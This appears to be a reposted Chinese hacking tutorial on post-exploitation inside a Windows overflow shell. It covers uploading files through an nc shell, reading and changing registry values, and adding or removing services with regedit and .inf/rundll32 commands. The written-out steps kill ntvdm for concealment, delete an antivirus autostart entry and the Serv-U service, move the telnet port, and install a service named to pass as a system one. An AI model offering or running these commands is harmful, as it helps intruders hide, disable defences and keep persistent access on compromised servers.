几点说明: 1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。 2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。 3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。 4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。 5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置 这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。 好在系统自带的regedit.exe足够用了。
1,读取注册表 先将想查询的注册表项导出,再用type查看,比如:
C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
C:>type 1.reg | find "PortNumber" "PortNumber"=dword:00000d3d
C:>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项 先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg echo. >>1.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg echo "TelnetPort"=dword:00000913 >>1.reg echo "NTLM"=dword:00000001 >>1.reg echo. >>1.reg regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "KAVRun"=-
3,用inf文件访问注册表 上面对注册表的三个x作,也可以用下面这个inf文件来实现:
[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323 HKLM,NTLM,1 [My_DelReg_Name] HKLM,SYSTEMCurrentControlSetServicesServ-U HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
将它写入c:path
eg.inf然后用下面这个命令“安装”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:path
eg.inf
几点说明: 1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。 0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。 2323也可以用0x913代替。 关于inf文件的详细信息,可以参考DDK帮助文档。 2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。 128表示给定路径,该参数其他取值及含义参见MSDN。 特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。 3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。
增加一个服务:
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=inetsvr,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=提供对 Internet 信息服务管理的支持。 ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathinetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明: 1,最后四项分别是 服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost); 启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。 (注意,0和1只能用于驱动程序) 错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。 服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。 这四项是必须要有的。 2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。 3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。 1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的: "ImagePath"=hex(2):25,00,53,79,73,74,65,6d,52,6f, 74,25,5c,33,32, 00,6c,6e,76,72,2e,78,00 可读性太差。其实它就是%SystemRoot%system32 lntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。 2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。 3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。 (编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|